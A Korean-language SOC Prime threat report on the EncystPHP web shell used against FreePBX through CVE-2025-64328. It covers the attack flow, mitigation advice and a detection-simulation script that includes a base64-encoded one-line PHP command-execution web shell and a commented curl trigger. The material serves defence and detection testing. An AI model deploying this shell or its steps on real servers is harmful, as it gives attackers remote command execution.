EncystPHP: 지속적인 관리자 위협을 위한 무기화된 FreePBX 웹 셸

Ruslan Mikhalov SOC Prime에서 위협 연구 책임자

팔로우

EncystPHP: 지속적인 관리자 위협을 위한 무기화된 FreePBX 웹 셸

Detection stack

AIDR
Alert
ETL
Query

위협 보고서
공격 흐름
탐지
시뮬레이션

요약

FortiGuard Labs가 PHP 웹 셸을 보고함 EncystPHP FreePBX 인스턴스에 노출된 취약성을 악용하여 배포 CVE-2025-64328. 이 임플란트는 원격 명령 실행을 가능하게 하고, 특권 사용자를 마련하며, cron 작업 및 후속 드로퍼를 통해 계층적 지속성을 설정합니다. 이 활동은 INJ3CTOR3 팀과 연결되어 있으며 통신 환경을 대상으로 하는 것으로 보입니다. 발표된 지표에는 악성 IP, 도메인, URL 및 여러 적대적 파일 경로가 포함됩니다.

조사

조사자들은 FreePBX Endpoint Manager의 인증 후 명령 삽입 취약점에서 초기 접근을 추적했습니다. 공격이 성공한 후 운영자는 45.234.176.202에서 드로퍼를 가져오고 주요 PHP 구성요소의 권한을 완화하며, 데이터베이스 자격 증명을 추출하고, 루트 수준의 계정을 생성하며, 공격자가 제어하는 SSH 키를 추가합니다. 지속성은 cron 항목을 통해 추가 드로퍼를 반복적으로 가져오고 아티팩트를 새로 고침하여 강화됩니다. EncystPHP는 또한 합법적인 FreePBX 파일을 가장하고 시간 스탬프를 조작하여 정기적인 트라이애지 동안 가시성을 줄입니다.

완화 정책

FreePBX Endpoint Manager에 대한 CVE-2025-64328 (및 관련 수정 사항)을 가능한 빨리 패치하십시오. 무단 웹 셸 파일, 의심스러운 cron 일정 및 새로 생성된 특권 로컬 사용자를 사냥하세요. 알려진 악성 인프라에 대한 아웃바운드 HTTP를 차단하고 웹 인터페이스 디렉토리 및 PHP 자산에 대해 엄격한 최소 권한을 적용하십시오.

대응 조치

탐지되면 영향을 받은 PBX 서버를 격리하고, EncystPHP 아티팩트를 제거하며, 무단 cron 작업을 삭제하고, 로컬 계정 및 SSH 키를 재설정하십시오. 변경 범위를 규명하기 위해 로그 및 구성 백업을 검토한 후 최신 보안 업데이트를 적용하고 웹 인터페이스를 강화하십시오. 정상적인 전화 업무를 복원하기 전에 보조 드로퍼 또는 지속성 메커니즘이 남아있지 않음을 확인하십시오.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“액션 – T1190 공개된 애플리케이션 악용 FreePBX 엔드포인트 매니저 CVE-2025-64328 악용”] class initial_access action tool_wget[“도구 – 이름: wget 설명: HTTP를 통해 파일 다운로드”] class tool_wget tool process_shell[“프로세스 – T1059.004 명령 및 스크립트 인터프리터: Unix 셸 Base64로 디코딩된 bash 스크립트 c, k.php, test.sh”] class process_shell process file_c[“파일 – c (bash 스크립트)”] class file_c file file_kphp[“파일 – k.php (PHP 드로퍼)”] class file_kphp file file_testsh[“파일 – test.sh (bash 스크립트)”] class file_testsh file credential_access[“액션 – T1003 운영 체제 자격 증명 덤핑 /etc/freepbx.conf에서 데이터베이스 자격 증명 수집”] class credential_access action file_freepbxconf[“파일 – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“액션 – T1068 권한 상승을 위한 악용”] class priv_esc_exploit action account_create[“액션 – T1136.001 계정 생성: 로컬 계정 사전 설정된 비밀번호 해시를 가진 root 수준 사용자 newfpbx 생성”] class account_create action persistence_webshell[“액션 – T1505.003 서버 소프트웨어 구성 요소: 웹 셸 EncystPHP를 ajax.php 및 config.php로 위장하여 배포”] class persistence_webshell action file_ajaxphp[“파일 – ajax.php (웹 셸)”] class file_ajaxphp file file_configphp[“파일 – config.php (웹 셸)”] class file_configphp file persistence_cron[“액션 – T1053.003 예약된 작업/잡: Cron 매분 k.php를 다운로드하고 실행하는 cron 작업 설치”] class persistence_cron action defense_perm_mod[“액션 – T1222.002 파일 및 디렉터리 권한 수정: Linux 파일 권한을 000으로 설정하고 타임스탬프 위조”] class defense_perm_mod action defense_masquerade[“액션 – T1036.005 위장 정상적으로 보이는 위치에 셸 배치”] class defense_masquerade action defense_indicator_removal[“액션 – T1070.004 파일 삭제 및 T1070.006 타임스탬프 조작 로그와 cron 항목 삭제, 파일 타임스탬프 일치”] class defense_indicator_removal action lateral_movement_ssh[“액션 – T1021.004 원격 서비스: SSH 및 T1098.004 SSH 인증 키 공격자의 공개 키를 authorized_keys에 삽입”] class lateral_movement_ssh action command_and_control[“액션 – T1105 침투 도구 전송 및 T1071.001 애플리케이션 계층 프로토콜: 웹 프로토콜 wget을 사용하여 45.234.176.202에서 드로퍼 수신”] class command_and_control action impact_hijack[“액션 – T1496 리소스 하이재킹 PBX를 사용하여 무단 외부 통화 수행”] class impact_hijack action defense_impair[“액션 – T1562.001 방어 기능 저해 및 T1548 권한 상승 제어 메커니즘 악용 오류 보고를 비활성화하고 관리자 컨텍스트에서 시스템 변경 수행”] class defense_impair action %% Edges initial_access –>|사용| tool_wget tool_wget –>|다운로드| file_c tool_wget –>|다운로드| file_kphp tool_wget –>|다운로드| file_testsh initial_access –>|연결됨| process_shell process_shell –>|실행| file_c process_shell –>|실행| file_kphp process_shell –>|실행| file_testsh process_shell –>|연결됨| credential_access credential_access –>|읽기| file_freepbxconf credential_access –>|활성화| priv_esc_exploit priv_esc_exploit –>|활성화| account_create account_create –>|활성화| persistence_webshell persistence_webshell –>|생성| file_ajaxphp persistence_webshell –>|생성| file_configphp persistence_webshell –>|활성화| persistence_cron persistence_cron –>|생성| file_kphp persistence_cron –>|사용| tool_wget persistence_cron –>|설정| defense_perm_mod defense_perm_mod –>|지원| defense_masquerade defense_masquerade –>|지원| defense_indicator_removal persistence_webshell –>|지원| lateral_movement_ssh lateral_movement_ssh –>|활성화| command_and_control command_and_control –>|제공| impact_hijack command_and_control –>|지원| defense_impair

공격 흐름

공격 서술 및 명령:
1. EncystPHP 웹 셸 업로드 – 공격자는 Base64로 인코딩된 PHP 페이로드를 만들어 FreePBX 웹 UI를 통해 HTTP POST로 전달하여 파일을 생성합니다 ajax.php /var/www/html/admin/views/ajax.php 에 쓰기.
2. 제한적인 권한 설정 – 배포 직후, 공격자는 chmod 000 ajax.php 를 실행하여 셸을 일반 사용자에게 숨기고 웹 서버의 특권 계정 하에서 실행하도록 강제합니다 (T1222.002).
3. 중요한 설정 삭제 – 탐지를 방해하고 시스템이 악성 셸로 리로드되도록 강제하기 위해, 공격자는 /etc/freepbx.conf 를 제거합니다 (T1070.004, T1562.001).
4. 셸 트리거 – 새로 생 성된 ajax.php 에 대한 간단한 HTTP GET이 페이로드를 실행하고, 역셸을 설정합니다 (T1105, T1059.004).

회귀 테스트 스크립트: 스크립트는 프로덕션 시스템에 영향을 주지 않도록 제어된 테스트 디렉토리 (/tmp/freepbx_test)에서 1-3 단계를 재현합니다.

# encystphp_simulation.sh
set -euo pipefail

# ----- Setup test directories (mirroring FreePBX layout) -----
TEST_ROOT="/tmp/freepbx_test"
WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"

sudo mkdir -p "${WEB_ROOT}"
sudo mkdir -p "$(dirname "${CONFIG_FILE}")"

# ----- Create dummy config file (will be deleted) -----
echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null

# ----- Base64‑encoded EncystPHP payload (very small stub) -----
PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"

# ----- Step 1: Deploy web shell -----
echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
echo "Web shell deployed at ${WEB_ROOT}/ajax.php"

# ----- Step 2: Restrictive permission (000) -----
sudo chmod 000 "${WEB_ROOT}/ajax.php"
echo "Permissions set to 000"

# ----- Step 3: Delete critical config file -----
sudo rm -f "${CONFIG_FILE}"
echo "Deleted ${CONFIG_FILE}"

# ----- Optional: trigger the shell (simulated) -----
# curl -s "http://localhost/admin/views/ajax.php?cmd=id"

echo "Simulation complete. Check SIEM for alerts."

정리 명령:

# cleanup_encystphp_simulation.sh
set -euo pipefail
TEST_ROOT="/tmp/freepbx_test"
sudo rm -rf "${TEST_ROOT}"
echo "테스트 환경이 정리되었습니다."

SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.

무료 가입

Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.